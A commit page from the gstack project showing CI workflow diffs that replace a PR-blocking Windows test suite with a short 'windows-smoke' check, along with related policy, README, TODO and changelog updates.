v1.92.58.0 stamp: merge main e2d9c798b2 into #3767 (land)

This commit is contained in:
garrytan committed 2026-11-02 05:02:39 +00:00
commit 84e299f449
81 files changed
+2163 -411

No files matched your search

+2 -2
View File
@@ -164,7 +164,7 @@ jobs:
- Files that failed while recording (durations kept; this PR's own free checks decide): $failed_line
- Seed growth ratchet (60 s ceiling, shrink-only allowlist): $ratchet_line
Data only. This run dispatched Free Tests (the required free-tests check), Windows Free Tests and Quality gate on this branch; those are this PR's checks. The pull_request runs wait as "action required" because a token-opened PR never starts them without approval. Stamp and merge per docs/ship-policy.md; the stamp push runs the full PR checks.
Data only. This run dispatched Free Tests (the required free-tests check), Windows Smoke and Quality gate on this branch; those are this PR's checks. The pull_request runs wait as "action required" because a token-opened PR never starts them without approval. Stamp and merge per docs/ship-policy.md; the stamp push runs the full PR checks.
EOF
if [ -n "$number" ]; then
gh pr edit "$number" --body-file pr-body.md
@@ -172,5 +172,5 @@ jobs:
gh pr create --base main --head "$branch" --title "test(seed): refresh the free-suite duration seeds" --body-file pr-body.md
fi
gh workflow run free-tests.yml --repo "$GITHUB_REPOSITORY" --ref "$branch"
gh workflow run windows-free-tests.yml --repo "$GITHUB_REPOSITORY" --ref "$branch"
gh workflow run windows-smoke.yml --repo "$GITHUB_REPOSITORY" --ref "$branch"
gh workflow run quality-gate.yml --repo "$GITHUB_REPOSITORY" --ref "$branch"
+18 -20
View File
@@ -1,9 +1,15 @@
name: Windows Free Tests
# The Windows-safe subset of the free suite on GitHub's free `windows-latest`
# runners. scripts/test-free-shards.ts --windows-only is the single source of
# truth for which files run: POSIX-bound tests (bin/ shebang spawns, raw /tmp
# paths, /bin/sh, mode bitmasks, the Bun-driven browse server) are excluded by
# Nightly, not a PR gate. Windows has minimal support (docs/support-tiers.md):
# the required Windows check is windows-smoke.yml (./setup plus the core
# skills). This workflow runs the curated Windows-safe subset of the free suite
# on main every night and on workflow_dispatch, and never blocks a pull
# request. A red nightly run gets a fix only when it shows an install, startup
# or core-workflow break; other Windows-only failures close as won't fix.
#
# scripts/test-free-shards.ts --windows-only is the single source of truth for
# which files run: POSIX-bound tests (bin/ shebang spawns, raw /tmp paths,
# /bin/sh, mode bitmasks, the Bun-driven browse server) are excluded by
# pattern there, with explicit force-include and known-incompatible lists.
# Every run prints the curated count and top exclusion reasons in the job
# summary so a shrinking subset is visible.
@@ -27,13 +33,9 @@ name: Windows Free Tests
# dispatch and duration-recording runs never consume.
on:
pull_request:
branches: [main]
# Also on main pushes, as free-tests.yml does: trains dispatch only the
# Linux free workflow, so without this no Windows run ever sees a train's
# combined tree or main after a merge.
push:
branches: [main]
# 09:17 UTC, about 2 AM Pacific, on the default branch (main).
schedule:
- cron: '17 9 * * *'
workflow_dispatch:
inputs:
record_durations:
@@ -113,8 +115,10 @@ jobs:
if-no-files-found: error
windows-free-shard:
# gstack-pregate reads a job keyed on a dispatch input as manual, never a
# PR obligation; this lane runs only nightly or by hand.
needs: [windows-plan, reuse]
if: ${{ !cancelled() && needs.windows-plan.result == 'success' && (needs.reuse.result != 'success' || needs.reuse.outputs.reused != 'true') }}
if: ${{ !cancelled() && !inputs.record_durations && needs.windows-plan.result == 'success' && (needs.reuse.result != 'success' || needs.reuse.outputs.reused != 'true') }}
runs-on: windows-latest
timeout-minutes: 15
strategy:
@@ -139,14 +143,8 @@ jobs:
name: windows-plan
path: ${{ runner.temp }}
# bun's install cache lives under ~/.bun/install/cache on every platform.
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6
with:
path: ~/.bun/install/cache
key: windows-bun-${{ hashFiles('bun.lock') }}
# A lockfile bump starts from the previous cache instead of cold.
restore-keys: |
windows-bun-
# No bun install cache: restoring the ~450 MB entry took 33-42 s per
# shard, a cold install 16-17 s (GSTA-203 PR 1 A/B, 3 runs per arm).
- name: Configure git identity (required by tests that init temp repos)
run: |
+2 -10
View File
@@ -92,16 +92,8 @@ jobs:
with:
bun-version: 1.4.2
# Same lockfile-keyed install cache as windows-free-tests.yml (install
# was 45s of a 64s job, all network).
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6
with:
path: ~/.bun/install/cache
key: windows-bun-${{ hashFiles('bun.lock') }}
# A lockfile bump starts from the previous cache instead of cold
# (restore alone costs ~43s; without this a bump pays it for nothing).
restore-keys: |
windows-bun-
# No bun install cache, as in windows-free-tests.yml: a cold install is
# faster on windows-latest than restoring the ~450 MB cache entry.
- name: Configure git identity
run: |
+170
View File
@@ -0,0 +1,170 @@
name: Windows Smoke
# The required Windows check under minimal support (docs/support-tiers.md):
# with a default Git for Windows install, ./setup installs and the core skills
# start. One windows-latest job, under 5 minutes:
# 1. ./setup --host claude into an isolated HOME under Git Bash, with
# gstack's own browser (Playwright Chromium).
# 2. The core skills start: gstack-skill-start for /ship, /review,
# /qa-only, /investigate and /browse answers SKILL_START_PROTO: 1.
# 3. /browse on gstack's own browser: the installed browse runs a piped
# chain flow against a local page from an unrelated directory.
# 4. The fastest Windows-safe free tests for those paths (list below).
# The full curated Windows suite is windows-free-tests.yml: nightly on main
# and on dispatch, never a PR gate.
#
# No bun install cache: a cold install took 16-17 s on windows-latest, a
# restore of the ~450 MB cache 33-42 s (GSTA-203 PR 1 A/B, 3 runs per arm).
on:
pull_request:
branches: [main]
push:
branches: [main]
workflow_dispatch:
concurrency:
group: windows-smoke-${{ github.event.pull_request.number || github.run_id }}
cancel-in-progress: true
permissions:
contents: read
jobs:
windows-smoke:
runs-on: windows-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
with:
persist-credentials: false
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2
with:
bun-version: 1.4.2
- name: Configure git identity (required by tests that init temp repos)
run: |
git config --global user.email "windows-smoke@gstack.test"
git config --global user.name "Windows Smoke"
git config --global init.defaultBranch main
shell: bash
- name: Install dependencies
run: bun install --frozen-lockfile
shell: bash
- name: ./setup installs into an isolated HOME
run: |
set -euo pipefail
SMOKE_HOME="$RUNNER_TEMP/smoke-home"
mkdir -p "$SMOKE_HOME"
HOME="$SMOKE_HOME" USERPROFILE="$(cygpath -w "$SMOKE_HOME")" ./setup --host claude
test -x "$SMOKE_HOME/.claude/skills/gstack/bin/gstack-skill-start" || (echo "MISSING: installed gstack-skill-start" && exit 1)
shell: bash
- name: The core skills start
run: |
set -euo pipefail
SMOKE_HOME="$RUNNER_TEMP/smoke-home"
USERPROFILE="$(cygpath -w "$SMOKE_HOME")"
export HOME="$SMOKE_HOME" USERPROFILE
for skill in ship review qa-only investigate browse; do
set +e
OUT=$(timeout 120 "$SMOKE_HOME/.claude/skills/gstack/bin/gstack-skill-start" --skill "$skill" --model claude 2>&1 < /dev/null)
CODE=$?
set -e
echo "::group::$skill"; echo "$OUT"; echo "::endgroup::"
test "$CODE" -eq 0 || (echo "/$skill: gstack-skill-start exited $CODE" && exit 1)
grep -q '^SKILL_START_PROTO: 1' <<< "$OUT" || (echo "/$skill: no SKILL_START_PROTO: 1 line" && exit 1)
done
shell: bash
- name: /browse on gstack's own browser runs a piped chain flow from an unrelated directory
run: |
set -euo pipefail
SMOKE_HOME="$RUNNER_TEMP/smoke-home"
USERPROFILE="$(cygpath -w "$SMOKE_HOME")"
export HOME="$SMOKE_HOME" USERPROFILE
BROWSE="$SMOKE_HOME/.claude/skills/gstack/browse/dist/browse.exe"
[ -f "$BROWSE" ] || BROWSE="$SMOKE_HOME/.claude/skills/gstack/browse/dist/browse"
test -f "$BROWSE" || (echo "MISSING: installed browse" && exit 1)
bun -e 'Bun.serve({ hostname: "127.0.0.1", port: 47124, fetch: () => new Response("<title>gstack smoke</title><h1>gstack-windows-smoke-ok</h1>", { headers: { "content-type": "text/html" } }) }); setInterval(() => {}, 1 << 30);' &
PAGE_PID=$!
trap 'kill "$PAGE_PID" 2>/dev/null || true; "$BROWSE" stop >/dev/null 2>&1 || true' EXIT
mkdir -p "$RUNNER_TEMP/unrelated-dir" && cd "$RUNNER_TEMP/unrelated-dir"
set +e
OUT=$(printf '%s\n' '[["goto","http://127.0.0.1:47124/"],["text"]]' | "$BROWSE" chain 2>&1)
CODE=$?
set -e
echo "$OUT"
if [ "$CODE" -ne 0 ]; then
find "$RUNNER_TEMP/unrelated-dir" "$SMOKE_HOME" -maxdepth 4 \( -name 'browse-daemon.log' -o -name 'browse-startup-error.log' \) -print -exec tail -n 60 {} \; 2>/dev/null || true
echo "browse chain exited $CODE" && exit 1
fi
grep -q 'gstack-windows-smoke-ok' <<< "$OUT" || (echo "chain output lacks the page text: the flow did not run" && exit 1)
shell: bash
- name: Fastest Windows-safe free tests for install and the core skills
# Windows-measured seconds from scripts/free-test-durations-windows.json.
# setup-windows-fallback (0.1): setup's _link_or_copy copies, never links, on Windows
# setup-staged-copy (0.6): a copy install is staged and swapped in only when complete
# setup-windows-rerun-refresh (1.7): re-running ./setup refreshes copied skills (#2444)
# setup-skill-copies (0.1): copied SKILL.md hashes and the backup of an edited copy
# setup-bun-cmd-and-pipe-bugs (0.4): setup's bun.cmd and pipe handling
# gstack-launch-probe (0.1): setup's Smart App Control launch probe (#2595)
# state-root-parity (2.1): every skill start resolves one state root in TS and bash
# bun-isolation-launch (1.1): Bun entries ignore .env and bunfig under Git Bash (#3415)
# gstack-lease-git-bash (3.7): the skill-start lease under Git Bash (#3330)
# gstack-wtree-windows-paths (1.3): /review and /ship record a start on C:/ paths (#3101)
# ship-hook-windows-paths (2.3): /ship's pre-push guard in a Windows worktree (#2805)
# qa-only-browser-probe (2.4): /qa-only's browser probe fixture
# find-browse (0.1): /browse resolves its binary (.exe)
# cli-chain-stdin (0.3): /browse chain reads its flow from stdin on Windows (#3039)
# windows-spawn-hide (0.1): /browse's spawns hide their console window (#1835)
env:
GSTACK_FREE_RETRY_FLAKY: '1'
GSTACK_FLAKE_LEDGER: ${{ runner.temp }}/flake-ledger.jsonl
TEMP: ${{ runner.temp }}
TMP: ${{ runner.temp }}
run: |
set -euo pipefail
cat > "$RUNNER_TEMP/windows-smoke-files.txt" <<'LIST'
test/setup-windows-fallback.test.ts
test/setup-staged-copy.test.ts
test/setup-windows-rerun-refresh.test.ts
test/setup-skill-copies.test.ts
test/setup-bun-cmd-and-pipe-bugs.test.ts
test/gstack-launch-probe.test.ts
test/state-root-parity.test.ts
test/bun-isolation-launch.test.ts
test/gstack-lease-git-bash.test.ts
test/gstack-wtree-windows-paths.test.ts
test/ship-hook-windows-paths.test.ts
test/qa-only-browser-probe.test.ts
browse/test/find-browse.test.ts
browse/test/cli-chain-stdin.test.ts
browse/test/windows-spawn-hide.test.ts
LIST
bun run scripts/test-free-shards.ts --files-from "$RUNNER_TEMP/windows-smoke-files.txt"
shell: bash
- name: Upload full test logs
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
with:
name: windows-smoke-logs
path: |
.context/free-test-logs/gstack-free-test-*.log
${{ runner.temp }}/gstack-free-test-*.log
include-hidden-files: true
if-no-files-found: ignore
- name: Upload flake ledger
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
with:
name: flake-ledger-windows-smoke
path: ${{ runner.temp }}/flake-ledger.jsonl
if-no-files-found: ignore
retention-days: 90
+1 -2
View File
@@ -16,8 +16,7 @@
"supabase/**": []
},
"selection": {
"free-tests.yml/free-suite": "bun run scripts/test-free-shards.ts --list",
"windows-free-tests.yml/windows-free-shard": "bun run scripts/test-free-shards.ts --windows-only --list"
"free-tests.yml/free-suite": "bun run scripts/test-free-shards.ts --list"
},
"run_profiles": {
"ci-reuse/free-tests": { "workflow": "free-tests.yml", "events": ["pull_request", "workflow_dispatch"], "jobs": ["free-plan", "typecheck", "quick-bun-default", "cso-macos-launcher", "macos-named-regressions", "cso-windows-launcher", "cso-docker-integration", "free-tests"], "artifact": "tested-tree", "os": "Linux" },
+1 -1
View File
@@ -14,6 +14,6 @@
"pr_count": { "default_pr_count": 1, "split_requires_owner": true },
"maintainers": ["garrytan"],
"train": { "gate_workflow": "evals.yml", "free_workflow": "free-tests.yml", "full_gate_check": "gstack/full-gate", "record_artifact": "gstack-train-record", "max_size": 5, "fill_hours": 1, "screen_selection": "gstack-paid", "trial_reservation_usd": 1.5 },
"changelog_fragments": { "dir": "changelog.d", "required_checks": ["free-tests", "windows-free-tests", "Check VERSION is not stale vs queue", "quality", "check-freshness", "actionlint"] },
"changelog_fragments": { "dir": "changelog.d", "required_checks": ["free-tests", "windows-smoke", "Check VERSION is not stale vs queue", "quality", "check-freshness", "actionlint"] },
"min_gstack_version": "1.91.340.0"
}
+5 -3
View File
@@ -285,9 +285,11 @@ Support tiers (full: macOS, Linux; minimal: Windows, Gemini models) are in
[docs/support-tiers.md](docs/support-tiers.md).
- **macOS** + **Linux**: full test suite supported.
- **Windows**: the curated Windows-safe subset runs in the `windows-free-tests`
CI workflow across six `windows-latest` jobs, packed by Windows-measured
durations. Setup script (`./setup`) requires Git Bash or
- **Windows**: minimal support; [docs/support-tiers.md](docs/support-tiers.md)
says what is promised. Every PR must pass the `windows-smoke` check (`./setup`,
the core skills start, the fastest Windows-safe tests); the curated
Windows-safe subset runs nightly on main in `windows-free-tests` and never
blocks a PR. Setup script (`./setup`) requires Git Bash or
MSYS today; native PowerShell support is a future expansion. The `bin/gstack-paths`
helper resolves state roots through `CLAUDE_PLUGIN_DATA` / `GSTACK_HOME` so plugin
installs work on every platform.
+87
View File
@@ -1,5 +1,92 @@
# Changelog
## [1.92.58.0] - 2026-11-02
**A parent agent can now run the CEO-only review through the driver: `gstack-autoplan next --ceo-only` (GST-537).** `/autoplan --ceo-only` only worked inside a Claude Code session, so a crew or eval harness driving `gstack-autoplan` from another host had to run the whole review and stop at the approval gate. Now the same review-only run works from the driver on any host.
### Added
- **`gstack-autoplan next --ceo-only`** (first `next` only): opens the CEO phase alone. When it closes, the run prints `REVIEWED:`, writes `<dir>/ceo-review.md` with the same sections as the skill path (hashed in `run.json`), and ends `GSTACK_RESULT: skill=autoplan status=reviewed run=<dir>`. It writes no gate, never edits the plan and never approves anything.
- **Decision rows with status `auto_kept`**: each item a gate would have asked is recorded as kind `auto`, the plan's direction kept, with no answer time. An item only the owner can accept (a Critical finding left open when CEO closed deferred) is left undecided, with no chosen option, and the report lists it as left open for the owner. Tasks in a CEO-only run wait on no decision. `run.json` now accepts `reviewed`, and `gstack-artifact validate` passes a finished CEO-only run.
- **Coded refusals**: `--ceo-only` beside `--ui`, `--developer-tool` or `--agent-primary` (on the command line or in the plan's scope marker), a scope marker that names `--ceo-only`, or a plan that is the report file `<dir>/ceo-review.md` (directly, through a symlink or a hard link) refuses with `CEO_ONLY_CONFLICT`, so the report never overwrites the plan; on a directory that holds a full run, `CEO_ONLY_AFTER_INIT`. `answer`, `recommend`, `revise` and `gstack-approvals import` refuse a CEO-only run with `CEO_ONLY_NO_GATE`. A CEO-only run stopped by `--spend-cap` recovers the usual way: `budget` then `resume`, or `close --deferred`, which ends it `reviewed`.
### Fixed
- `gstack-approvals import --autoplan` no longer imports from a run whose `run.json` is present but not valid JSON; it refuses with `ARTIFACT_INVALID_JSON` instead of guessing the run's identity.
## [1.92.57.0] - 2026-11-02
**Hermes can start gstack skills again (GST-882).** On stock Hermes, the Tirith scanner flagged every gstack skill's first command as HIGH ("Nested executable body could not be resolved"), so `gstack-skill-start` was denied in 8 of 8 trials. Tirith-only findings can't go on Hermes's permanent allowlist, so there was no workaround. The start line Tirith couldn't follow was a grouped fallback that picked the script through a variable.
### Fixed
- **The skill-start line on Codex, Hermes and the other env-var hosts is plain shell.** A skill installed for one folder (Hermes, and the Codex install `./setup` writes) now checks for that folder's `bin/gstack-skill-start` and then runs it by its literal path. Tirith 0.4.2 allows that line where it blocked the old one. A checked-in render keeps the same lookup order (an exported `GSTACK_ROOT`, then the repo's own install, then the global one) as plain lines, without the `{ …; exit 1;}` group. When no install exists, both print the same "no install found" line with the setup command, and the start command then fails.
- **An install-root render's first block no longer honors an exported `GSTACK_ROOT`.** Tirith blocks any start command picked through a variable. Later blocks still honor it. `docs/troubleshooting.md` names this exception.
### Tests
- `test/skill-start-plain.test.ts`: on every host and both render kinds, the start fence has no grouped fallback, and a missing install fails loudly under `bash -u`. The install-root start command is a literal path that runs, and a checked-in render finds the global install. On each env-var host, the start lookup picks the same root as later blocks for global, repo-local and exported installs.
## [1.92.56.0] - 2026-11-02
**`gstack-ship-receipt write` records the session kind on Windows.** Without `--session-kind` or `GSTACK_SESSION_KIND`, it asks the `gstack-session-kind` bash helper. It used to spawn that helper by path, which never starts on Windows, so every /ship receipt there carried no `session_kind`. It now starts the helper through `lib/script-invocation.ts`, which uses Git Bash on Windows. This is the /ship half of #3541.
### Fixed
- **`bin/gstack-ship-receipt`** starts `gstack-session-kind` with `runScriptSync`.
### Tests
- `test/ship-receipt-session-kind.test.ts` (windows-free-tests too): a receipt written without a session kind records what `gstack-session-kind` prints.
## [1.92.55.0] - 2026-11-02
- **`/ship` finish no longer stops on a branch whose restamp moved its own stale stamp after a lost slot** (`gstack-ship-release finish`, GST-895). When a branch loses its merge slot, merges main and runs `gstack-restamp --next`, the restamp moves the branch's own `since:` rows from the lost version to the new one. Finish only accepted a moved version at or above the reviewed tree's VERSION, which now came from main, so it read those rows as a behavior change and stopped with "insert 5–11.5 → 12–14 → 16" (gbrain #8134 on 1.92.46.0). Now a line the branch added itself, by the same rule restamp uses (added since the merge base with main, and not added by main), may move any version newer than the branch's fork point, and finish routes it as release metadata. A row main carries, a row main edited after the merge, and a branch row at or before the fork point still stop. Only `stamp_files` paths count, and nothing else on the line may change.
### Tests
- `test/ship-rereview-triggers.test.ts`: after a lost slot, a merge of main and a restamp, the branch's moved row routes as metadata; moving main's own row, a merged main row that main later edited, a branch row at the fork version, or one older than the fork point each stop. The first case fails on main with `behavior=1`.
## [1.92.54.0] - 2026-11-02
**`train land` and a single-PR `land` can no longer publish onto main at the same time, and a slot that forgot its version bump can no longer merge (#3599, #3531; GSTA-157).** Before, `train land` took no lock, so it and `land` could both read the same main and publish a combined tree neither tested. And train 33's `verify --train` said "may merge" for #3527's head after a bare commit dropped the stamp that restamp had written but not staged, so #3527 shipped under #3526's version.
### Fixed
- **`train land` takes the shared land lock** (`refs/notes/gstack-land`, now in lib/ship-queue-land-lock.ts) as `train <nonce> slot <i> (#<pr>)`. Whichever of `land` and `train land` starts second refuses with `QUEUE_LAND_LOCKED`, naming the holder. Once a slot has merged, the train keeps the lock in phase `between` until its last slot lands, through a refusal on the next slot too, so no single land slips in between slots and sets off a freeze. A stop that freezes the queue leaves the lock in phase `freeze`, which only the admitted repair train takes over while the freeze lasts; once the freeze is cleared, the next `land` or `train land` takes over a freeze lock whose release push failed. A lock ref deleted on origin now reads as no lock, not as this clone's cached copy.
- **`--break-lock` prints the holder** (`LOCK_HOLDER:`), keeps land's staleness, mid-push and drift rules, never breaks a `freeze` lock, waits 10 minutes on a `between` lock, and refuses a live train run's lock unless `--break-train-lock` is also given. `train land` accepts both flags.
- **`verify --train` checks the slot stamp itself**: the head's VERSION must be above main's and its CHANGELOG headed with that version directly above main's top release, or it refuses with the new `QUEUE_TRAIN_UNSTAMPED`, naming the rule and both versions. It prints `STAMP_VERSION:` from the head.
- **`verify --train` calls a PR merged only when GitHub reports it MERGED.** An open release-only PR (#3530's shape) now gets the pre-merge check, and any other open or unreadable PR refuses with `QUEUE_PROOF_MISSING` without freezing the queue. So does a verify that could not read the PR's current head (`--no-fetch` or a failed fetch), instead of judging the unstamped pin.
- **`gstack-restamp` stages the files it writes** and prints `STAGED:`. It refuses before writing when a stamp file holds unstaged edits of your own (`RESTAMP_UNSTAGED_EDITS`); when staging fails, it says `RESTAMP_NOT_STAGED` and the next run stages the files.
- Two comments in lib/ship-queue-train-gate.ts now say "one spend cap per command gate across every prefix of the train", which is what the code does.
### Tests
- `test/ship-queue-land-lock.test.ts`: two writers racing one lock sha, the four lock read states, owner kinds, the `--break-lock` rules, and both lock directions, the between phase, refusal and resume, and the freeze lock's repair takeover through `bin/gstack-ship-queue`.
- `test/ship-queue-train.test.ts`: the #3527 and #3530 shapes, the CHANGELOG rule, a claim-at-open pin, and no false freeze. `test/gstack-restamp-queue.test.ts`: staging after a no-commit merge, the unstaged-edits refusal, and a staging failure and its rerun.
## [1.92.53.0] - 2026-11-02
**`reap` and `up` now destroy only your own Ubicloud VMs (GST-573).** Before, every `up` destroyed any VM in the project whose TTL had ended, whoever created it, which broke the rule that cloud deletes stay with the owner who made the resource. Now reap destroys only the caller's own expired VMs and its own old TTL-less ones, and only counts other owners' expired VMs in its log (`reap: left N expired VMs of other owners; only their owners reap them`).
### Changed
- **Owner-scoped reap.** Another owner's VM, even an expired one, and an untagged one are never reaped. A lane's leftover VM is destroyed by that owner's own next `up` or `reap`, so a lane that never runs again leaves its VM until someone with that owner runs `reap` or `down`.
## [1.92.52.0] - 2026-11-02
**/ship on Capy runs Exploratory QA again.** Since v1.91.345.0 (#3648) the driver sent Step 9.2.1 out as a QA reader subagent, but the section says only the parent runs report-only discovery, so the reader refused on every pass ("parent-only") and the parent ran the probes afterward anyway, an extra reader call each pass (the C4-36 and C5-36 replays).
### Fixed
- **The parent runs Step 9.2.1's probes itself, as the section says.** Phase 3 does the section's method Reads and no probe; Phase 4's one program runs the smoke and plan checks after Step 8.1 collects the plan checks and before Scope Check, dedup and Fix-First, and the record's Checks heading carries the `Exploratory QA:` line. The call count is unchanged, and the section text is untouched.
- **`gstack-review-dispatch pass` refuses a QA extra.** An extra named `qa`, or one whose prompt holds Step 9.2.1's "Only the parent runs report-only discovery.", stops the pass before any reader is created. A prompt file that cannot be read stops as an unreadable prompt, not a raw read error. The Capy skill lists Steps 7, 8 and 14.5 as extras, not Step 9.2.1.
## [1.92.51.0] - 2026-11-01
**PRs no longer wait on the six-shard Windows suite. A short `windows-smoke` check is the required Windows check, and the full suite runs nightly on main.** Windows has minimal support (docs/support-tiers.md). Since 2026-11-01 06:00 UTC, Windows Free Tests finished last on 71 of 73 PR heads, with a wall time of 892 s at p50 and 1,886 s at p90 over 71 green PR runs, and each run used about 59 Windows runner-minutes. The new smoke check finished in 198 s on this PR (run 41325664750). With smoke in its place, the slowest required check on a PR drops from 892 s to 562 s at p50 and from 1,877 s to 1,193 s at p90.
### Changed
- **New `windows-smoke.yml`** (check `windows-smoke`, on pull requests, pushes to main and by hand). It installs gstack with `./setup --host claude` into a separate home, starts /ship, /review, /qa-only, /investigate and /browse with `gstack-skill-start`, runs the installed browse chain against gstack's own browser, and runs 15 Windows-safe test files. Each file's reason is written next to it in the workflow. No cache: a cold `bun install` took 16 to 17 s, while restoring the cache took 33 to 42 s in a three-round A/B.
- **`windows-free-tests.yml` runs nightly** (09:17 UTC) on main, and by hand. It no longer runs on pull requests or pushes and never blocks a merge. A red nightly gets a fix only when it shows a broken install, startup or core workflow. Other Windows-only failures close as won't fix with a link to docs/support-tiers.md.
- **Bun cache removed** from `windows-free-tests.yml` and `windows-setup-e2e.yml`. The 18 cache entries on pull-request refs (8.05 GB) were deleted. Main's entries were left alone.
- **`gstack-ship-queue ready --dispatch-ci`** skips a named workflow that main has but the PR branch predates, and prints a note instead of failing. GitHub reads the workflow file from the branch, so dispatching `windows-smoke.yml` on an older branch could only fail.
### Gate integrity
- `.gstack/ship-policy.json` `required_checks`: `windows-free-tests` is replaced by `windows-smoke`. The ci-hint, `--dispatch-ci` docs, train CLI help and `free-durations-record.yml` now name `windows-smoke.yml`.
- `.gstack/pregate.json`: the `windows-free-tests.yml/windows-free-shard` remote lane is removed, since that suite no longer runs on PRs. Linux and macOS lanes are unchanged.
- `scripts/test-health-report.ts` measures Windows from `windows-smoke.yml` PR runs.
- No test file was deleted, skipped or re-tiered. `scripts/harness-version.json` records `scripts/test-pr-profile.ts` as a non-behavioral change, because it only lists `windows-smoke.yml` among files no paid case reads.
## [1.92.50.0] - 2026-11-01
### Fixed
+3 -3
View File
@@ -73,8 +73,8 @@ project where you actually felt the pain.
**What CI does on a fork PR.** GitHub never gives a fork PR this repository's
secrets, so CI runs everything that needs none: the required `free-tests` check
(the Linux free suite, typecheck, the macOS and Windows gates), Windows Free
Tests, Skill Docs Freshness, Workflow Lint, Version Gate, Quality gate, the
(the Linux free suite, typecheck, the macOS and Windows gates), Windows
Smoke, Skill Docs Freshness, Workflow Lint, Version Gate, Quality gate, the
make-pdf gate, and any path-triggered gates your change touches. E2E Evals
still builds the CI image from your `Dockerfile.ci` without publishing it, and
skips its paid eval jobs, which need provider API keys. That skip is expected
@@ -192,7 +192,7 @@ the new defaults.
| Run full free acceptance before publishing | `bun run test` | Free, a few minutes | Bun 1.4.2 |
| Run the full free suite from a small machine | `bun run test:ubicloud` | Free suite on a billed 16-vCPU VM, about 5 minutes | `UBICLOUD_API_KEY`, `UBI_OWNER` |
| Clear pregate's test tier on a machine under 8 cores ([remote gate](docs/pregate.md#remote-gate)) | `gstack-pregate --stage tests --remote --spend-cap 2 --timeout 2700 --allow-repo-commands` (same command keyed or keyless) | Keyed: one billed 16-vCPU VM, about 7 minutes and $0.06 for the whole free tier, worst case $0.38; keyless: free, local parallel shards, practical for small selections only (98 files took 103 s on 4 cores) | Keyed: `UBICLOUD_API_KEY`, `UBI_OWNER`; keyless: nothing |
| Run the curated Windows-safe subset | `bun run test:windows` (CI: six `windows-latest` jobs) | Free | Windows, Git Bash |
| Run the curated Windows-safe subset | `bun run test:windows` (CI: six `windows-latest` jobs, nightly on main; PRs run the shorter `windows-smoke` check) | Free | Windows, Git Bash |
| Refresh the Windows duration seed | `gh workflow run windows-free-tests.yml --ref <branch> -f record_durations=true`, then commit the `free-test-durations-windows` artifact | Free CI runners | Pushed branch, `gh` with workflow rights |
| Run a native Windows qualification campaign | `gh workflow run native-qualification.yml --ref <branch> -f mode=<mode>` ([modes](docs/TESTING_INTERNALS.md#windows-free-lane)) | Free CI runners | Pushed branch, `gh` with workflow rights |
| Preview which paid cases my diff selects | `bun run eval:select` (PR profile; `--profile full` for the plain touchfile selection) | Free | — |
+6
View File
@@ -17,6 +17,12 @@
- **Derive `carry.covers` from depth.** A carried receipt's `covers` is the fixed `CARRY_COVERS` list (lib/ship-receipt.ts); derive it from the recorded `review_depth` so a light review's carry does not claim the checks a full review ran (plan item 5, deferred at /ship). **Effort:** S. **Priority:** P1.
- **Bound the queue's recompute time.** `gstack-ship-queue` recomputes each receipt's needed depth at READY and at train build; add a test that a five-PR train recomputes within a fixed budget, so a large diff cannot stall the train. **Effort:** S. **Priority:** P1.
### P2/P3: Windows smoke follow-ups (filed 2026-11-01, from the GSTA-203 PR 1 /ship review)
- **Branches cut before windows-smoke.yml still owe the old Windows lane (P2)** — pregate reads lanes from the branch's own workflows, so such a branch keeps an uncleared `windows-free-tests.yml/windows-free-shard` obligation, and `ready --dispatch-ci` skips `windows-smoke.yml` there. The lane clears it by passing `windows-free-tests.yml` to `--dispatch-ci` (the old cost) or with a main-merge grant. Have the skip note name that route, or dispatch the old workflow in smoke's place. The skip also treats a branch that deletes or renames `windows-smoke.yml` as one that predates it; check the merge base too. **Effort:** S. **Priority:** P2.
- **Someone owns the nightly (P2)** — nothing reads the scheduled `windows-free-tests.yml` result or its flake ledgers. Add a test-health-report metric for scheduled runs on main, or have the daily flaky pass read the latest nightly. **Effort:** S. **Priority:** P2.
- **Smoke /browse step waits for its page server (P3)** — `windows-smoke.yml` starts `Bun.serve` in the background and calls `browse chain goto` right away; poll the port first. **Effort:** XS. **Priority:** P3.
- **Smoke seed ceiling vs the weekly reseed (P3)** — `test/windows-native-workflows.test.ts` holds each smoke file to 5 s in the Windows seed, which `free-durations-record.yml` rewrites weekly; one slow recording turns the seed PR red. Report the overrun there or re-pick files at reseed. **Effort:** S. **Priority:** P3.
### P2/P3: pregate head-policy follow-ups (filed 2026-10-31, from the GST-419/GST-420 /ship review)
- **`finish` fallback drops head-policy lanes (P2)** — `lib/ship-release.ts` reruns pregate on the stamped tree under the base policy, so after a version bump a lane the branch added under `--policy-from head` is gone and `finish` reports `PREGATE: fail (rerun on the stamped tree)`. GSTA-194 owns that file and has the note. **Effort:** S. **Priority:** P2.
- **The 3600 s preflight and `finish` wrapper deadline (P3)** — it caps the whole pregate run, so several runners that each fit `timeout_s` can still be cut off together. Derive the wrapper deadline from `timeout_s` and the lane count, or document the cap. **Effort:** S. **Priority:** P3.
+1 -1
View File
@@ -1 +1 @@
1.92.50.0
1.92.58.0
+1 -1
View File
@@ -1,4 +1,4 @@
# gstack digest v1.92.50.0 — regenerate/re-copy after upgrading gstack
# gstack digest v1.92.58.0 — regenerate/re-copy after upgrading gstack
Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed
for agent hosts without a full skill install. The full skills add workflows,
+3
View File
@@ -338,6 +338,9 @@ gstack_result_anchor() {
RECEIPT_GIT_TOO_OLD) printf '%s' 'receipt-git-too-old' ;;
CHANGELOG_FRAGMENT_INVALID) printf '%s' 'changelog-fragment-invalid' ;;
QUEUE_LAND_LOCKED) printf '%s' 'queue-land-locked' ;;
QUEUE_TRAIN_UNSTAMPED) printf '%s' 'queue-train-unstamped' ;;
RESTAMP_NOT_STAGED) printf '%s' 'restamp-not-staged' ;;
RESTAMP_UNSTAGED_EDITS) printf '%s' 'restamp-unstaged-edits' ;;
QUEUE_LAND_CONFLICT) printf '%s' 'queue-land-conflict' ;;
QUEUE_LAND_DRIFT) printf '%s' 'queue-land-drift' ;;
QUEUE_LAND_BASE_BUSY) printf '%s' 'queue-land-base-busy' ;;
+71 -10
View File
@@ -10,11 +10,18 @@
